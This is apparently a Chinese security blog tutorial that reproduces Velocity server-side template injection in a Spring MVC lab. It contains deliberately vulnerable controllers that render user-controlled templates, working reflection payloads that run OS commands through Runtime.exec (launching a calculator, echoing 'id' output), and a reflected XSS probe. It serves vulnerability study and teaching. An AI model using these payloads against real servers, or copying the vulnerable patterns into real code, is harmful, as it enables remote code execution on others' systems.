前言
前面我们分析过了Thymeleaf的模板注入,我们今天继续来看另外一个模板注入。
Apache Velocity是一个基于Java的Web页面模版引擎,够帮我们实现页面静态化,同时它将Java代码与网页分开,并为Java Server Pages(JSP)提供了可行的替代方案。下面我们就从零开始学习复现Velocity模板注入,触发的方法主要是两种,分别使用了evaluate和merge;使用的是Spring MVC框架来整合的Velocity模板。Velocity模板也算是比较老了,目前已经逐渐被取代。
声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
环境搭建
velocity官网:https://velocity.apache.org/
注意⚠️:
-
Spring4.3之后不再直接支持velocity -
Spring Boot 在 2.4 版本之后不再直接支持 Velocity 模板引擎
所以需要使用springmvc或者springboot框架来构建复现的时候需要注意版本号;这里我使用的spirngmvc来进行复现。
创建完毕之后,自行添加Java目录和resources目录。
在resources目录里面创建;springmvc.xml文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 启用注解驱动 -->
<mvc:annotation-driven/>
<!-- 其他配置,如扫描Controller包、静态资源等 -->
<context:component-scan base-package="com.garck3h"></context:component-scan>
<!-- 配置Velocity视图解析器 -->
<bean id="velocityConfig" class="org.springframework.web.servlet.view.velocity.VelocityConfigurer">
<property name="resourceLoaderPath" value="/WEB-INF/views/" />
</bean>
<bean id="viewResolver" class="org.springframework.web.servlet.view.velocity.VelocityViewResolver">
<property name="cache" value="true" />
<property name="prefix" value="" />
<property name="suffix" value=".vm" />
</bean>
</beans>
在web.xml里面配置
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
完整的pom.xml如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Velocity_SSTI</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>Velocity_SSTI Maven Webapp</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<!-- Spring MVC依赖 -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>4.1.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.1.5.RELEASE</version>
</dependency>
<!-- velocity依赖 -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.73</version>
</dependency>
</dependencies>
<build>
<finalName>Velocity_SSTI</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
在WEB-INF里面创建一个文件夹views,再在views文件夹中创建一个模板文件:hello.vm
<html>
<head>
<title>Hello</title>
</head>
<body>
<h1>Hello, $name </h1>
</body>
</html>
创建一个controller包之后创建一个controller控制器:MyController.java
package com.garck3h.controller;
/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/6/25 2:30 下午
* Life is endless, and there is no end to it.
**/
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class MyController {
@RequestMapping("/hello")
public String demo(Model model) {
// 向模板中添加数据
model.addAttribute("name", "Hello, Velocity!");
// 返回Velocity模板路径
return "hello";
}
}
启动tomcat进行访问:http://192.168.108.154:8090/hello
常用语法
-
输出变量;在模板中,$name表示一个变量,当模板被渲染时,变量会被替换为具体的值。
Welcome $name!
-
条件判断:使用#if、#else和#end语句可以进行条件判断,根据条件的真假来执行不同的操作。
#if($age >= 18)
You are an adult.
#else
You are a minor.
#end
-
迭代循环:通过 #foreach
语句可以对集合进行迭代循环,并在每次循环中使用$item
表示当前迭代的元素。
#foreach($item in $items)
$item
#end
-
导入外部包:使用#import语句可以导入外部Java类,以便在模板中使用其方法和属性。
#import("com.example.MyClass")
-
字符串拼接:可以使用#set指令将字符串赋值给变量,并通过直接引用变量进行字符串拼接。
#set($firstName = "John")
#set($lastName = "Doe")
$firstName $lastName
-
访问对象属性:
<p>Name: $person.name</p>
<p>Age: $person.age</p>
-
调用静态方法:假设存在一个名为mathUtil的Java类,其中有一个静态方法add(a, b),则可以通过$mathUtil.add(5, 3)来调用该静态方法并将结果赋值给变量。
#set($result = $mathUtil.add(5, 3))
Result: $result
漏洞分析
evaluate触发
evaluate方法使用VelocityEngine的evaluate方法来执行Velocity模板的评估。用户输入通过HttpServletRequest对象获取,并放入VelocityContext中进行渲染。
我们分别创建一个Controller和一个evaluate.vm(WEB-INF/views/evaluate.vm)模板文件
VelocityInjectionController.java
package com.garck3h.controller;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;
@Controller
public class VelocityInjectionController {
@RequestMapping("/evaluate")
public ModelAndView evaluate(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 从请求参数中获取模板值
String template = request.getParameter("template");
// 动态创建Velocity上下文并设置参数
VelocityContext context = new VelocityContext();
context.put("params", request.getParameterMap());
// 创建VelocityEngine实例
VelocityEngine engine = new VelocityEngine();
// 创建StringWriter对象,用于保存模板合并的结果
StringWriter sw = new StringWriter();
// 对模板进行合并,并将结果写入StringWriter对象中
engine.evaluate(context, sw, "TemplateInjectionTest", template);
// 创建ModelAndView对象,指定视图名为"evaluate"
ModelAndView modelAndView = new ModelAndView("evaluate");
// 将模板合并的结果作为属性添加到ModelAndView对象中
modelAndView.addObject("evaluate", sw.toString());
// 返回ModelAndView对象
return modelAndView;
}
}
evaluate.vm
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Hello, $evaluate</h1>
</body>
</html>
启动之后我们在浏览器进行访问,并且给template进行传参
当我输入如下的payload,即可执行命令弹计算器。
http://192.168.1.7:8090/evaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
http://192.168.1.7:8090/evaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)
payload分析:
#set($e="e"):定义了一个Velocity变量$e,并赋值为字符串"e"。
$e.getClass():获取变量$e的运行时类。
.forName("java.lang.Runtime"):通过反射加载java.lang.Runtime类。
.getMethod("getRuntime", null):使用反射获取Runtime类的getRuntime方法,该方法返回Runtime类的实例。
.invoke(null, null):使用反射调用getRuntime方法,参数为null,因为该方法不接受任何参数。这将返回Runtime类的实例。
.exec("open -a calculator"):使用Runtime类的实例的exec方法执行操作系统命令。在这里,命令是open -a calculator,即打开Mac的计算器
当执行来到engine.evaluate;我们跟进去,直接就看到了RuntimeInstance.evaluate;最后会调用 render 方法将解析后的内容渲染到 writer 中,并返回渲染结果。
我们跟进到render;这里主要实现的是将解析后的节点树渲染到指定的写入器中。
首先在634行调用 nodeTree.init对节点树进行初始化。接着调用 nodeTree.render将节点树渲染到写入器中。
我们跟进去到render。这里主要实现的是获取节点树的子节点数量,并使用 for 循环遍历所有子节点。通过 jjtGetChild(i) 方法获取第 i 个子节点,并调用其 render 方法来渲染子节点内容到指定的写入器中。
继续跟进jjtGetChild(i).render;最后来到了ASTReference.render.
先判断this.referenceType 的值是否为 4;然后判断this.escaped 的值为false
继续跟进来之后,就到了ASTMethod.execute。这里接受一个 Object 对象和一个 InternalContextAdapter 对象作为参数。我们直接看到
64行调用 method.invoke(o, params) 方法执行方法调用,并将结果存储在 obj 变量中。
跟进去查看invoke;判断方法是否为可变参数方法,如果是就进行一系列操作。最后调用doInvoke方法执行实际的方法调用,并返回结果。
而doInvoke方法,正是下面的doInvoke方法
即最后调用的是Java反射里面的invoke,进行执行
思考了一下,也可能存在XSS,于是反射的XSS尝试
http://192.168.51.154:8090/evaluate?template=<script>alert('XSS')</script>
merge触发
merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。
创建一个servlet
package com.garck3h.controller;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;
@Controller
public class VelocityInjectionController {
@RequestMapping("/merge")
public ModelAndView merge(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 从请求参数中获取模板值
String template = request.getParameter("template");
// 从classpath中加载Velocity模板
VelocityEngine engine = new VelocityEngine();
engine.setProperty(RuntimeConstants.RESOURCE_LOADER, "classpath");
engine.setProperty("classpath.resource.loader.class", ClasspathResourceLoader.class.getName());
engine.init();
// 动态创建Velocity上下文并设置参数
VelocityContext context = new VelocityContext();
context.put("params", request.getParameterMap());
// 进行模板合并
Template tpl = engine.getTemplate(template);
StringWriter sw = new StringWriter();
tpl.merge(context, sw);
// 创建ModelAndView对象,指定视图名为"hello"
ModelAndView modelAndView = new ModelAndView("hello");
// 将模板合并的结果作为属性添加到ModelAndView对象中
modelAndView.addObject("hello", sw.toString());
// 返回ModelAndView对象
return modelAndView;
}
}
当我们能上传或者更改vm的时候,我们插入一下的内容到vm模板中
再在resources/templates中新建一个模板:merge.vm
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")
启动项目之后进行访问即可执行模板里面的代码,当然这个${name}是我hello模板里面的内容。
http://192.168.51.154:8090/merge?template=/templates/merge.vm
有回显示的payload
#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
payload解释
rt = java.lang.Runtime.class
chr = java.lang.String
ex = java.lang.Runtime.getRuntime().exec("id")
ex.waitFor()
// 循环读取输出
在win上测试ipconfig成功
总结
-
因为Spring框架版本的问题,高版本不能直接整合Velocity模板,一直报错踩坑 -
Velocity模板目前也逐渐被其它模板引擎替代,如:Thymeleaf
原文始发于微信公众号(pentest):Velocity的SSTI复现与分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论